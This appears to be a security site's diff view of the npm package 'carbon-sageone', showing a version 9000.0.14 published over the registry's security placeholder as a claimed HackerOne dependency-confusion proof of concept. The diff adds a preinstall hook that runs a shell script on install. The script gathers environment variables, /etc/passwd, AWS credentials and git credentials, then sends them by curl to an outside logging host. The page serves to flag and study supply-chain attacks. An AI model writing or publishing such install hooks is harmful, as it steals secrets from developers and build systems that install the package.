carbon-sageone 0.0.1-security → 9000.0.14

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of carbon-sageone might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,7 @@
1
+ //index.js
2
+
3
+ function helloSage() {
4
+ return "Dependency confusion attempt. HackerOne, @axfla";
5
+ }
6
+
7
+ module.exports = helloSage;
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "carbon-sageone",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "9000.0.14",
4
+ "description": "H1 PoC @axfla",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "sh ./poc_sage.sh"
9
+ },
10
+ "author": "axfla",
11
+ "license": "ISC"
6
12
  }
package/poc_sage.sh ADDED
@@ -0,0 +1,25 @@
1
+ echo "-- uname -a" >> output.txt
2
+ uname -a >> output.txt
3
+ echo "-- env" >> output.txt
4
+ env >> output.txt
5
+ echo "-- /etc/passwd" >> output.txt
6
+ cat /etc/passwd >> output.txt
7
+ echo "-- CURRENT FOLDER" >> output.txt
8
+ ls -al >> output.txt
9
+ echo "-- HOME FOLDER" >> output.txt
10
+ ls -al ~/ >> output.txt
11
+ echo "-- / FOLDER" >> output.txt
12
+ ls -al / >> output.txt
13
+ echo "-- docker-entrypoint.sh" >> output.txt
14
+ cat ../../docker-entrypoint.sh >> output.txt
15
+ echo "-- Cargo.toml" >> output.txt
16
+ cat ../../Cargo.toml >> output.txt
17
+ echo "-- package.json" >> output.txt
18
+ cat ../../package.json >> output.txt
19
+ echo "-- npm.sh" >> output.txt
20
+ cat ../../npm.sh >> output.txt
21
+ echo "-- .aws/*" >> output.txt
22
+ cat ~/.aws/* >> output.txt
23
+ echo "-- .git-credentials/*" >> output.txt
24
+ cat ~/.git-credentials/* >> output.txt
25
+ curl -H "Hostname: $(hostname | base64)" -H "Whoami: $(id | base64)" -H "Pwd: $(pwd | base64)" -d "$(cat output.txt | base64)" "https://d7.lc/sage_h1/logger.php"
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=carbon-sageone for more information.